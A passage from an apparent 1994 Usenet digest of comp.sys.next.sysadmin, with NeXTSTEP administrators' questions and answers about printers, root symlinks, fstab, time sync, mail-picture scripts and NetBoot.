3.2. The problem is that it frequently fails to recognize the
scanner. When the application is started (PowerScan.app, I
think) it says something like "Can't find scanner."
Any suggestions?
--
Daniel Craigmile | Texas A&M University
danielc@tamu.edu | Computing and Information Services
847-UNIX | Customer Help and Training
Newsgroups: comp.sys.next.sysadmin
From: volker@abulafia.in-berlin.de (Volker Safran)
Subject: Re: HELP! erased "mach"file
Message-ID: <1994Apr7.085737.1218@abulafia.in-berlin.de>
Sender: volker@abulafia.in-berlin.de
Organization: Volker Safran, Interprint, Berlin, Germany
References: <2nui74$hdr@portal.gmu.edu>
Date: Thu, 7 Apr 1994 08:57:37 GMT
Hi,
In article <2nui74$hdr@portal.gmu.edu> skahng@mason1.gmu.edu (Soonam
Kahng) writes:
>
> Hi..
>
> Accidently I erase all files (not directory) in root directory.
> :( (I run a kind of "rm *" command with my mistyping ) I found
> "mach" "odmach" "sdmach" "etc" and "dev" are deleted. "etc" and
> "dev" are linked file as I see. So I re-linked them to /private/etc
> and /private/dev by "ln -s" command. As I know "mach" is also
> linked "odmach" or "sdmach"
>
> ok.. Question..
>
> can I copy above files (mach,odmach,sdmach) from other NeXT to
> my system?
>
> Any additional work or reconfiguration do i need?
>
> any additional comment of yours
>
> <Soonam>
>
> soonam@isse.gmu.edu
>
As I see it, the only thing you have to do, is:
ln -s /private/dev dev
ln -s /private/etc etc
ln -s /private/tmp tmp
ln -s '$BOOTFILE' mach
ln /private/tftpboot/mach odmach
ln /private/tftpboot/mach sdmach
Nothing to copy from another NeXT.
BTW: Why is there another kernel in /private/tftpboot, named
mach_kernel, which is identical to mach, but no hardlink? Is it a
backup, which can be removed, or is it required by builddisk for some
reason?
CIAO Volker
--
************************************************************
* Volker Safran, FB13, TU Berlin, PHONE: +49 30 4542303 *
* EMail: FAX: +49 30 4537157 *
* volker@abulafia.in-berlin.de (NeXTMail very welcome)*
* safran@fb3-s7.math.TU-Berlin.DE (no NeXTMail, sorry) *
************************************************************
From: jmamer@agsm.ucla.edu (John Mamer)
Newsgroups: comp.sys.next.sysadmin
Subject: removing printers
Date: 7 Apr 1994 21:55:52 GMT
Organization: The Anderson School at UCLA
Message-ID: <2o1vh8$23c@news.mic.ucla.edu>
Keywords: printmanager, printing
Hi There;
I've got a problem with printing under intel NeXTStep. I
mis-configured my printer using printmanager. Upon attempting to
reopen printmanager to fix the problem, I find that printmanager dies
right after I choose the "modify" button. I tried creating a new
printer with the correct settings, and the new printer works just fine
from lpr (lpr -Pnew_printer prints o.k.). However, I can't print
using the print menu option from any of my NexTStep applications.
When I choose print, it dies right after I choose "print". I suspect
that it is confused about which printer to use. I think that what I
need to do is to remove the misconfigured printer. However, since I
can't get printmanager to run long enough to do this, I guess I'll
have to do it manually. Question, what files have to modified, and in
what way, so as to expunge a printer from NexTStep? I'm running 3.2
on an INTEL Pentium platform.
Any hints would be greatly appreciated.
Thanks
John Mamer
From: ccpaulh@monad.missouri.edu (H. Paul Hammann)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Printing to an HP 4si with a Jet Direct card?
Date: 7 Apr 1994 04:13:05 GMT
Organization: University of Delaware
Distribution: World
Message-ID: <2o018h$fnl@louie.udel.edu>
Hello,
we have an HP4si printer with a Jetdirect ethernet card in it. It is
quite easy to print to using the command line. All you do is telnet to it and
anything you type is printed. If the first two characters are %! then the
data stream is considered as postscript.
I would very much like to be able to get this to show up in the print
panel you get when you hit Cmd-p. I tried using PrintManager.app to create a
new printer but when I tried to change the communications from Serial to
something else (telnet to an address), there were no other options. Any help
or pointers to information would be greatly appreciated.
--
H. Paul Hammann
ccpaulh@monad.missouri.edu
From: chris@helser54.res.iastate.edu (Chris Wong)
Newsgroups: comp.sys.next.sysadmin
Subject: Printer PPD file for HP LaserJet 4ML?
Date: 7 Apr 1994 22:25:55 GMT
Organization: Iowa State University, Ames, Iowa
Message-ID: <2o219j$s57@news.iastate.edu>
Keywords: printer, HP, Laserjet, 4ML
Any printer description file for HP LaserJet 4ML?
I want to use the features of 4ML on NS.
Thanks for any info.
Chris
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: List of "unique" system files?
Date: 7 Apr 1994 22:24:33 GMT
Organization: Center for Computer Music Research and Composition, U.C.S.B.
Message-ID: <2o2171$n0q@hub.ucsb.edu>
Does someone have a list of all the files and or directories that make up the
"unique" configuration for a NeXT -- that is, those files which configure its
name, IP address, etc., and all the netinfo configuration files, etc.?
I wish to reformat our NeXT server (1.3 Gb drive) and restore everything from
tape -- but the tape drive is on our Sparc server.
I am doing a level 0 remote dump to a tape drive on the Sparc, but to read it
back off, I need to restore all the network configuration on the NeXT server
so that I can access the other machine on the network. I have an OD on the
NeXT server, so there is no problem backing up and restoring this list of
files that I am asking about.
I know that most of them are in /etc, like the netinfo directory and the rc
scripts. What about other places?
Thanks in advance.
--
Douglas Scott | Senior Development Engineer
Tel: (805) 893-8352 | Center for Computer Music Research and Composition
Internet (NeXTMail ok): | Music Department
<doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
From: skahng@mason1.gmu.edu (Soonam Kahng)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! erased "mach"file
Date: 6 Apr 1994 14:50:12 GMT
Organization: George Mason University, Fairfax, Virginia, USA
Message-ID: <2nui74$hdr@portal.gmu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Hi..
Accidently I erase all files (not directory) in root directory. :(
(I run a kind of "rm *" command with my mistyping )
I found "mach" "odmach" "sdmach" "etc" and "dev" are deleted.
"etc" and "dev" are linked file as I see. So I re-linked them to /private/etc and /private/dev
by "ln -s" command.
As I know "mach" is also linked "odmach" or "sdmach"
ok.. Question..
can I copy above files (mach,odmach,sdmach) from other NeXT to my system?
Any additional work or reconfiguration do i need?
any additional comment of yours
<Soonam>
soonam@isse.gmu.edu
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Gateway wedging
Date: 6 Apr 1994 15:22:17 GMT
Organization: University of Houston
Message-ID: <2nuk39$rk8@masala.cc.uh.edu>
References: <2ntapq$5up@GRAPEVINE.LCS.MIT.EDU>
In article <2ntapq$5up@GRAPEVINE.LCS.MIT.EDU> mike@whammo.media.mit.edu
(Michael Hawley) writes:
#We're building 3.2 on a Gateway 66v tower machine,
#with DPT 2022 and ATI graphics. Boot from floppy
#works fine, the disk format works fine, but the
#subsequent boot from CD-ROM wedges. In particular,
#it freezes at "Registering PCKeyboard0."
#
#Any clue as to why?
Try placeing a jumper on W3/W7 (depending on system board revision). This
jumper enables the BIOS to provide PS2 device emulation. Here is a "rough"
ascii diagram of the system board to help you locate the jumper....
Power Harddisk
------ --------
------ floppy
.. .. .. <---- W3/W7 should be the middle jumper
xxxxxxxxxxxxxxxxx xxxxxxxx <---- Slot 1 ISA / VLB
xxxxxxxxxxxxxxxxx xxxxxxxx <---- Slot 2 ISA / VLB
xxxxxxxxxxxxxxxxx <---- Slot 3 ISA
xxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxx CPU-CPU-CPU
xxxxxxxxxxxxxxxxx CPU-CPU-CPU
xxxxxxxxxxxxxxxxx CPU-CPU-CPU
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: hidinger@sandlot.nosc.mil (Ronald M Hidinger)
Subject: mailer name resolution
Message-ID: <1994Apr7.230845.15723@nosc.mil>
Sender: news@nosc.mil (Network News)
Organization: NCCOSC RDT&E Division, San Diego, CA
Date: Thu, 7 Apr 1994 23:08:45 GMT
Being only an amateur sysadmin I may have overlooked the answer
to this in the documentation, so my apologies in advance is this
is an RTFM type question.
I'm operating my NSFIP in a large, mixed Unix network environment.
My problem is that I have to explicitly attach an address to every
user name or the mailer will bounce the mail complaining about not
finding the user locally. Is there someway to instruct sendmail
or Next Info to send all mail to the server and let it resolve the
destination? There are nearly 10K entries in the server's
aliases file so manual or automated downloading is not appealing.
Ron Hidinger
hidinger@nosc.mil
From: captain@arsenal.com
Newsgroups: comp.sys.next.sysadmin
Subject: TCP UUCP Communications -- A Problem
Date: 7 Apr 1994 23:37:50 GMT
Organization: Division of Information Technology
Message-ID: <2o25ge$dfs@news.doit.wisc.edu>
Howdy,
I am using a ISDN direct line under NeXTSTEP/Intel 3.2. It
comes into the house and plugs into a Combinet ISDN box which
in turn plugs into my ethernet card. It provides a full 128k
link to the internet.
My problem revolves around the fact that I am getting access
to the net through the gracious permission of the University
I attend. However, my UUCP portal (MSEN) is still used because
of the commercial name of my site. Currently, I use a LD
phone-call to aquire my mail, etc. That is proving rather expensive.
Therefore, I attempted to get UUCP to work through the TCP port.
When polled to begin a session, it zips up to the MSEN server
and actually logs in and begins to transfer the first requested
file. After a few micro-seconds, everything freezes. The LOGFILE
then presents me with the following;
-------------------------------------------------------------------------
root msen (4/7-18:26-660) SUCCEEDED (call to msen )
root msen (4/7-18:26-660) OK (startup)
captain msen (4/7-18:26-660) REQUEST (S D.arsenalB06g2 D.arsenalS06g2
captain)
captain msen (4/7-18:26-660) BAD READ (expected 'C' got FAIL (2))
captain msen (4/7-18:26-660) FAILED (conversation complete)
-------------------------------------------------------------------------
Does anyone have any ideas? The LD bills are starting to become
quite painful. A quick ISDN transfer is much better than a 14.4k
connection.
Thanks!
- C
_/_/_/
_/_/_/ Knight Enterprises - A Film/Video Production Company
_/_/_/ C. Knight - captain@arsenal.com
_/_/_/ (608) 251-5522
_/_/_/ (608) 251-5727 FAX
_/_/_/
From: slxmw@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Anyone using CAP?
Message-ID: <1994Apr7.152602.15427@cc.usu.edu>
Date: 7 Apr 94 15:26:02 MDT
Organization: Utah State University
I am trying to get CAP60 with UAR to run on a NeXTStep FIP. I got
everything compiled and it seems to run (had to do some modifying).
It seems to run except that I can't "see" anything except myself when
I did an atlook. We have an isolated net so I just picked an IP address
for the NeXT and connected it to the ethernet that connects the MACs
using EtherTalk.
Wondering if anyone has any ideas on getting it running or if anyone
has gotten it running. Appreciate any help.
Dayne Medlyn
Interactive Composition Corp.
icc_utah@cc.usu.edu
From: grio@next.com (Dan Grillo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: List of "unique" system files?
Date: 8 Apr 1994 00:15:34 GMT
Organization: Technical Support, NeXT Computer, Inc.
Message-ID: <2o27n7$30m@rosie.next.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Versions: dmail 1.8z+/makemail 2.2
doug@foxtrot.ccmrc.ucsb.edu writes in comp.sys.next.sysadmin:
>
> Does someone have a list of all the files and or directories that make up the
> "unique" configuration for a NeXT -- that is, those files which configure its
> name, IP address, etc., and all the netinfo configuration files, etc.?
>
The command "showmods" will compare the files on your disk
with the bill of materials for the release. Files that are modified
will be a superset of what you need to keep.
--Dan
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: How to sync time with other non-NS machine?
In-Reply-To: jladwig@soils.umn.edu's message of Thu, 7 Apr 1994 17:32:30 GMT
To: jladwig@soils.umn.edu (John Ladwig)
Message-ID: <CEDMAN.94Apr7185343@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1994Apr4.181710.11138@rdbois.uucp> <2nunas$a8b@news.iastate.edu>
<jladwig.765739950@saturn>
Date: Thu, 7 Apr 1994 22:53:43 GMT
In article <jladwig.765739950@saturn> jladwig@soils.umn.edu (John Ladwig) writes:
In <2nunas$a8b@news.iastate.edu> chris@helser54.res.iastate.edu (Chris Wong) writes:
>In article <1994Apr4.181710.11138@rdbois.uucp> sr@rdbois.fdn.org
>(serge_ruby) writes:
>> In article <1994Apr3.071329.9103@seer.demon.co.uk> paul@seer.demon.co.uk
>>(Paul Lynch) writes:
>> > All this really does is enable ntp; you can run ntp as root from the
>> > command line. For example:
>> >
>> > ntp -s ntp.demon.co.uk
>Is this workable with non-NeXTSTEP machine?
My NS2.1 mailhub happily accepts time suggestions from our Sparc 2/
SunOS4.1.3 nameserver.
I run ntp out of cron once per hour.
Just in case, Louis Mamakos doesn't read this thread and responds:
Don't. ntp(1) is not the right tool to keep a number of machines in
sync over extended periods of time. ntpd(8) comes with every NeXT
system, was designed to fulfill that task and does so much more
accurately and gracefully under difficult conditions than just hitting
the clock over the head with an 'ntp -s' hammer once an hour. It also
configures more easily and will work under all circumstances that ntp
does.
For details read the man pages and the NeXT supplied documentation.
Carl Edman
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mounting partitio at boot time
Date: 8 Apr 1994 02:53:08 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2o2guk$im9@quartz.ucs.ualberta.ca>
References: <1994Apr6.194310.6466@alw.nih.gov>
In article <1994Apr6.194310.6466@alw.nih.gov> Brent Sessions <sessions@nih.gov>
writes:
> sd1b won't mount during boot time. Currently I have explicit mount
> commands in rc.local that
> do it ok, but I am wondering why the "mount -vat 4.3" command in /etc/rc
> isn't doing the
> trick.
>
> Here is what my /etc/fstab looks like:
>
> /dev/sd0a / 4.3 rw,noquota,noauto 0 1
> /dev/sd1a "/home" 4.3 rw 2 1
> /dev/sd1b "/pub" 4.3 rw 2 1
>
remove the quotes around the mountpoint entries !
change the 2's to 0's for 1a and 1b entries i.e. modify to 0 2 and 0 3!
-this specifies at what stage fsck's are done.
make sure the directories /home and /pub exist beforehand.
remove your explicit calls in rc.local.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
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Newsgroups: comp.sys.next.sysadmin
From: helmut@nero.novalis.pub.sub.org (Helmut Spethling)
Subject: Re: Moving home directories to a different hard disk
Message-ID: <1994Apr7.183414.9440@myhost.uucp>
Sender: helmut@myhost.uucp
Organization: Softwaredesign Spethling Helmut
References: <2nibel$rh2@senator-bedfellow.MIT.EDU>
Date: Thu, 7 Apr 1994 18:34:14 GMT
In article <2nibel$rh2@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU
(Eric M Hermanson) writes:
> I have a bunch of home directories on the internal hard disk in our lab
> system, and I want to move the stuff to an external drive with more
> space.
> Also, if I copy home directories as root, will I need to do a chown -R
"user"
> on all of the directories I copied (since the newly copied files will
> by owned by root instead of the repsective users)?
>
Copy with tar or gnutar. Its faster and you don't have to do a chown:
cd "sourceDir"
tar cf - . | (cd targetDir; tar xf -)
Helmut the Bavarian
From: Frederick_Haibach@brown.edu (Fred Haibach)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! runaway print demon?
Followup-To: comp.sys.next.sysadmin
Date: 8 Apr 1994 04:53:52 GMT
Organization: Dept of Chemistry/Brown University
Message-ID: <Frederick_Haibach-070494234752@dollmac.chem.brown.edu>
I have no idea what has gone wrong.
Here's the history.
I have been trying to access a non-NeXT printer across a non-NetInfo
network. I was attempting to send print jobs to the printserver and
monitoring the progress of the que using PrintManager. I deleted the jobs
after about five minutes.
I discovered that the printserver did not have the entry for my NeXT in
/etc/hosts.lpd. I don't have permission to change that.
All of a sudden Print Manager starts popping up warnings that it can't
chdir to the spool directory and lpq returns "Bus error."
Rebooting does not help.
Thanks.
FgH...
Please reply to haibach@stallion.chem.brown.edu (NeXTmail welcome)
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: A4 default in Preview app?
Message-ID: <1994Apr7.233417.14766@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <1994Apr7.094428.1592@nbivax.nbi.dk>
Date: Thu, 7 Apr 1994 23:34:17 GMT
> >>
> >> dwrite GLOBAL NXPaperType A4
> >
> > Does any of you know were to find the list of the relevant GLOBAL dwrite ?
> > I could not find it in the librarian.
> >
> > Serge
>
>
> try
> dread -l
>
I have tried it already: it gives the list of the currently set ones, not the
list of the possible ones ?
Serge
Newsgroups: comp.sys.next.sysadmin
From: david@ffcsas.demon.co.uk
Subject: Re: Printer PPD file for HP LaserJet 4ML?
Message-ID: <CnxMMn.Gox@demon.co.uk>
Sender: news@demon.co.uk (Usenet Administration)
Organization: Demon Internet
References: <2o219j$s57@news.iastate.edu>
Date: Fri, 8 Apr 1994 08:37:34 GMT
In article <2o219j$s57@news.iastate.edu>
chris@helser54.res.iastate.edu (Chris Wong) writes:
>
> Any printer description file for HP LaserJet 4ML?
>
> I want to use the features of 4ML on NS.
>
> Thanks for any info.
>
> Chris
It is available on Compuserve in the HP area. Or just use HP LaserJet
4 Postscript PPD, works correctly here.
--
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FFC Software and Systems Limited
351 London Road Phone: +44 (0)702 551010
Hadleigh Fax: +44 (0)702 551515
Essex. SS7 2BT Email: david@ffcsas.demon.co.uk
Newsgroups: comp.sys.next.sysadmin
From: ralf@rafa.in-berlin.de (Ralf Neumann)
Subject: Help: How to get 4600 Internet-tiffs in the NewsGrazer and mail.app
Message-ID: <1994Apr8.110356.594@rafa.in-berlin.de>
Sender: ralf@rafa.in-berlin.de
Organization: DRN
Date: Fri, 8 Apr 1994 11:03:56 GMT
Hello,
I have about 4600 pictures from the Internet for
/LocalLibrary/Images/Pictures.
I want to see these pictures inside the NewsGrazer and the mail.app.
With a small amount of pictures (I tried about 200 ) I have no problems at all
to install them with the folowing shell comands:
# cd /LocalLibrary/Images/People
# nidump aliases / >aliases
# nidump passwd / >passwd
# ./makemailpic
always the shell tells me:
/makemailpic: /bin/ls: arg list too long
./makemailpic: /bin/ls: arg list too long
The contens of the makemailpic is
#!/bin/sh
echo "# aliases file for Internet Format" >>aliases
/bin/ls -1 *.tiff | sed 's/.tiff$//; h; s/\./@/; G; s/\n/: /'>>aliases
echo "# passwd file" >>passwd
/bin/ls -1 *.tiff | sed 's/.tiff$/::10000::.:noshell/;' >>passwd
I don't agree that it's really a problem of the /bin/ls or the shell because
it is no problem at all to make ls -lg on the folder /LocalLibrary/People.
I get a perfect output in the shell of about 5000 lines.
Any help is very welcome because what's the use of 5MB Internet pictures if
you can't see them in the NewsGrazer and the Mail.app.
Thanks in advance
Ralf
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*| Ralf Neumann | ralf@rafa.in-berlin.de | Try NeXTmail please! |*
*| ************ | Voice +49 30 / 321 78 84 | Fax +49 30 / 321 28 68|*
From: mwa@ife.ee.ethz.ch (Marcel Waldvogel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Public Window Server?
Date: 8 Apr 1994 13:06:19 GMT
Organization: /usr/local/lib/news/organization
Message-ID: <2o3ksb$cqv@elna.ethz.ch>
References: <MARK.94Mar26104451@oleander.cs.odu.edu> <CnA9tx.B3r@fragile.termfrost.org> <2n27k6$1i5@agate.berkeley.edu>
In article <2n27k6$1i5@agate.berkeley.edu>,
Izumi Ohzawa <izumi@mindseye.berkeley.edu> wrote:
>I believe connections to DPS/Window server is made through the
>nmserver process. I don't exactly remember the port it listens
>to, but it listens to port 25xx. You must intercept a listen
>on this and forward only those that you want to allow. I don't
>know if this kind of thing is possible.
The nmserver listens on tcp port 2543. Let your firewall (you sure do
have any, don't you? :-)) just filter connections to this port. If you
do filter it for non-NeXT hosts (where this port is free and may be
used by almost any outgoing connection such as ftp or telnet), you may
get connection problems (in this case, just try again).
>NeXT really has to add a selective authentication scheme for
>nmserver.
Did anyone try to re-port (and enhance?) CMU's nmserver?
-Marcel
From: mwa@ife.ee.ethz.ch (Marcel Waldvogel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: funky init
Date: 8 Apr 1994 13:12:22 GMT
Organization: /usr/local/lib/news/organization
Message-ID: <2o3l7m$d12@elna.ethz.ch>
References: <2nbir2$609@news.acns.nwu.edu>
In article <2nbir2$609@news.acns.nwu.edu>,
William Leeke <bailey@casbah.acns.nwu.edu> wrote:
>USER PID %CPU %MEM VSIZE RSIZE TT STAT TIME COMMAND
>root 1 80.7 1.0 1.51M 80K ? R 736:13 /usr/etc/init -xx
There is probably a 'getty' process running for an unconnected tty.
Have a look at your /etc/ttys, whether any tty (except console) is
'on'. After editing it, 'kill -HUP 1'.
-Marcel
Newsgroups: comp.sys.next.sysadmin
From: bennett@infoman.com
Subject: Re: a big file on a small disk?
Message-ID: <1994Apr8.141719.6488@infoman.com>
Sender: root@infoman.com (Operator)
Organization: Information Management Inc.
References: <1994Mar31.162601.260@afs.com>
Date: Fri, 8 Apr 1994 14:17:19 GMT
In article <1994Mar31.162601.260@afs.com> mikem@afs.com (Mike Matlack)
writes:
>
> I have a NeXTstation running NS3.0 containing a 240MD drive.
>
> I have a file on the system that, in most cases, the OS thinks is much
larger
> (over a gig) than the hard drive. Here are the cases:
> using ls -l, size is 1941617664 (1900 MB)
> using du -s, size is 1448 (1.4 MB)
> using Compute in Workspace inspector, size is 1851 MB
>
STUFF DELETED ....
>
> Any idea what's going on? Any idea of I can convince the OS of the real
size
> of this file? (please reply to me directly...our newsfeed is a few days
> behind)
>
Yes.... This is called a "sparse" file. It is standard unix behavior.
If you open a file for write, lseek to one gig, and write a byte
the file will be no where near a gig. Unix does not allocate the
sectors in between the start of the file and the point that has the data
because there is no data to store in them. Kind of smart huh?
-Jon Bennett
IMI
(404)377-4840
From: koen1830@w250zrz.zrz.tu-berlin.de (Andreas Koenig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help: How to get 4600 Internet-tiffs in the NewsGrazer and mail.app
Date: 8 Apr 1994 16:56:49 GMT
Organization: mal franz, mal anna
Message-ID: <2o42ch$9s9@brachio.zrz.TU-Berlin.DE>
References: <1994Apr8.110356.594@rafa.in-berlin.de>
Fcc: $MAILRECORD
Apparently-To: koen1830@w203zrz.zrz.tu-berlin.de
In article <1994Apr8.110356.594@rafa.in-berlin.de>,
Ralf Neumann <ralf@rafa.in-berlin.de> wrote:
>Hello,
>
>I have about 4600 pictures from the Internet for
>/LocalLibrary/Images/Pictures.
>I want to see these pictures inside the NewsGrazer and the mail.app.
The scripts you are talking about below are a shame, really. I know,
you didn't write them, but they are doing a lot of harm in and around
Berlin. Grm.
>With a small amount of pictures (I tried about 200 ) I have no problems at all
>to install them with the folowing shell comands:
># cd /LocalLibrary/Images/People
This first line is O.K. No harm.
># nidump aliases / >aliases
May have some sense, may cause big frustration, if you ever begin to edit this
file (aliases) for your convenience. You should probably issue this line ONCE,
and never again.
># nidump passwd / >passwd
No sense. Who you have no picture of, you won't ever see one in the
NewsGrazer.
># ./makemailpic
>
>always the shell tells me:
>
>/makemailpic: /bin/ls: arg list too long
>../makemailpic: /bin/ls: arg list too long
>
>The contens of the makemailpic is
>#!/bin/sh
>echo "# aliases file for Internet Format" >>aliases
>/bin/ls -1 *.tiff | sed 's/.tiff$//; h; s/\./@/; G; s/\n/:c /'>>aliases
>echo "# passwd file" >>passwd
Through that away, it's nonsense.
>/bin/ls -1 *.tiff | sed 's/.tiff$/::10000::.:noshell/;' >>passwd
Change this one to
/bin/ls -1 | grep '\.tiff$' | sed -e 's/\.tiff$/:/' > passwd
and you're done. Yes, that is a `>' before passwd, not a `>>'. >=:->>=<
Greetings from Berlin, Andreas,
From: patrick@yabba.graphics.cornell.edu (Patrick Heynen)
Newsgroups: comp.sys.next.sysadmin
Subject: NDps and other goodies
Date: 8 Apr 1994 16:35:39 GMT
Organization: Cornell University Program of Computer Graphics
Message-ID: <2o414r$6bu@merckx.graphics.cornell.edu>
I have recently been sent a slew of mail in response to my post about the nature
of the NextDimension board, requesting information about the availablity of the
NDps program whose output I posted.
I'm afraid that NDps, along with several other ND utilities, is part of a
collection of files which I receieved in confidence from NeXT back in the heady
days of 1991 when we were beta-testing the NextDimension. As it stands, these
utilities are NOT in the public domain and are the property of NeXT.
However, now that the ND is an extinct species and not much of a 'trade secret'
anymore, there is a strong possibility that there might not be a great amount of
opposition to releasing them into the public domain. I will make some inquiries
to my contacts within NeXT to see what can be done.
However, it could be that I have gotten myself in enough hot water already by
posting the output of that program to the net... We'll have to wait and see.
========================================================================
Patrick Heynen patrick@graphics.cornell.edu
Resident NeXT fanatic
Program of Computer Graphics
Cornell University
From: kay@cs.tu-berlin.de (Kay Neuenhofen)
Newsgroups: comp.sys.next.sysadmin
Subject: NS/I and NetBoot clients ?
Date: 8 Apr 1994 17:21:50 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2o43re$jkg@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Hello,
I'm currently developing a NEXTSTEP driver and would like to configure the
machine I'm using (Intel based) as a NetBoot client, so I don't have to go
through a disk check every time the machine crashes. I have already tried to
do so, but so far to no avail.
The first problem occured with the newclient program, which didn't know about
the i386 sub dirs under /usr/standalone. I was able to work around this, since
the newclient program is a shell script.
I restarted the machine after making the necessary entries in NFS- and
Hostmanager. At the boot prompt I typed 'en()mach_kernel' and got the message
'no such device' or something like that.
The docs always talk about NeXT computers when mentioning NetBoot clients, so
maybe it's not possible to do this with Intel based hosts.
By the way, the NetBoot server is also Intel based.
Any hints on this would be appreciated. If you feel that your answer might not
interest the whole networld, mail me at kay@cs.tu-berlin.de.
Regards, Kay
From: mgrmja@NeXTwork.Rose-Hulman.Edu (Michael J Allard)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help: How to get 4600 Internet-tiffs in the NewsGrazer and mail.app
Date: 8 Apr 1994 17:38:32 GMT
Organization: Rose-Hulman Institute of Technology
Message-ID: <2o44qo$slv@master.cs.rose-hulman.edu>
References: <1994Apr8.110356.594@rafa.in-berlin.de>
In article <1994Apr8.110356.594@rafa.in-berlin.de> ralf@rafa.in-berlin.de
(Ralf Neumann) writes:
> [munch]
>
> always the shell tells me:
>
> /makemailpic: /bin/ls: arg list too long
> ./makemailpic: /bin/ls: arg list too long
>
> The contens of the makemailpic is
> #!/bin/sh
> echo "# aliases file for Internet Format" >>aliases
> /bin/ls -1 *.tiff | sed 's/.tiff$//; h; s/\./@/; G; s/\n/: /'>>aliases
> echo "# passwd file" >>passwd
> /bin/ls -1 *.tiff | sed 's/.tiff$/::10000::.:noshell/;' >>passwd
>
> I don't agree that it's really a problem of the /bin/ls or the shell
> because it is no problem at all to make ls -lg on /LocalLibrary/People.
> I get a perfect output in the shell of about 5000 lines.
Actually, it *is* a problem with the shell. (Or maybe I should call it a
*feature*. :-) Entering "*.tiff" causes the shell to expand out to all 4600
tiff entries, which are then attempted to be passed as 4600 separate
arguments to ls. I would try the following:
#!/bin/sh
echo "# aliases file for Internet Format" >>aliases
/bin/ls | grep '\.tiff$' | sed 's/.tiff$//; h; s/\./@/; G; s/\n/: /'>>aliases
echo "# passwd file" >>passwd
/bin/ls | grep '\.tiff$' | sed 's/.tiff$/::10000::.:noshell/;' >>passwd
This will do the ls, sort out the tiffs, and then munge them for the picture
lists.
P.S. The "-1" is not needed for ls when ls is not being sent to a terminal -
it's the default behavior in that case. Besides, then the commands still fit
in 80 columns in the script. :-)
> Thanks in advance
> Ralf
> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
> *| Ralf Neumann | ralf@rafa.in-berlin.de | Try NeXTmail please! |*
> *| ************ | Voice +49 30 / 321 78 84 | Fax +49 30 / 321 28 68|*
--
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<Michael.Allard@Rose-Hulman.Edu> - #include <std/disclaimer.h> - NeXTmail Ho!
"It's not denial. I'm just very selective about the reality I accept."
-Calvin & Hobbes
Newsgroups: comp.sys.next.sysadmin
From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Re: removing printers
Message-ID: <Cny817.us@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <2o1vh8$23c@news.mic.ucla.edu>
Date: Fri, 8 Apr 1994 16:19:55 GMT
In short:
Start /NextAdmin/NetInfoManager.app
Open the domain of your host.
Select printers, and then the directory for the misconfigured printer.
Delete it.
That all. But take care, a wrong move in NetInfoManager can render your OS
useless.
Gerd
In article <2o1vh8$23c@news.mic.ucla.edu> jmamer@agsm.ucla.edu (John
Mamer) writes:
> Hi There;
> I've got a problem with printing under intel NeXTStep. I
> mis-configured my printer using printmanager. Upon attempting to
> reopen printmanager to fix the problem, I find that printmanager dies
> right after I choose the "modify" button. I tried creating a new
> printer with the correct settings, and the new printer works just fine
> from lpr (lpr -Pnew_printer prints o.k.). However, I can't print
> using the print menu option from any of my NexTStep applications.
> When I choose print, it dies right after I choose "print". I suspect
> that it is confused about which printer to use. I think that what I
> need to do is to remove the misconfigured printer. However, since I
> can't get printmanager to run long enough to do this, I guess I'll
> have to do it manually. Question, what files have to modified, and in
> what way, so as to expunge a printer from NexTStep? I'm running 3.2
> on an INTEL Pentium platform.
>
> Any hints would be greatly appreciated.
>
> Thanks
> John Mamer
Newsgroups: comp.sys.next.sysadmin
From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Re: SCSI scanner problem
Message-ID: <Cny849.vJ@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <2o1qd4$od5@batman.tamu.edu>
Date: Fri, 8 Apr 1994 16:21:44 GMT
In article <2o1qd4$od5@batman.tamu.edu> daniel@batman.tamu.edu (Daniel)
writes:
>
> We've got a SCSI scanner which is attached to a NeXT running
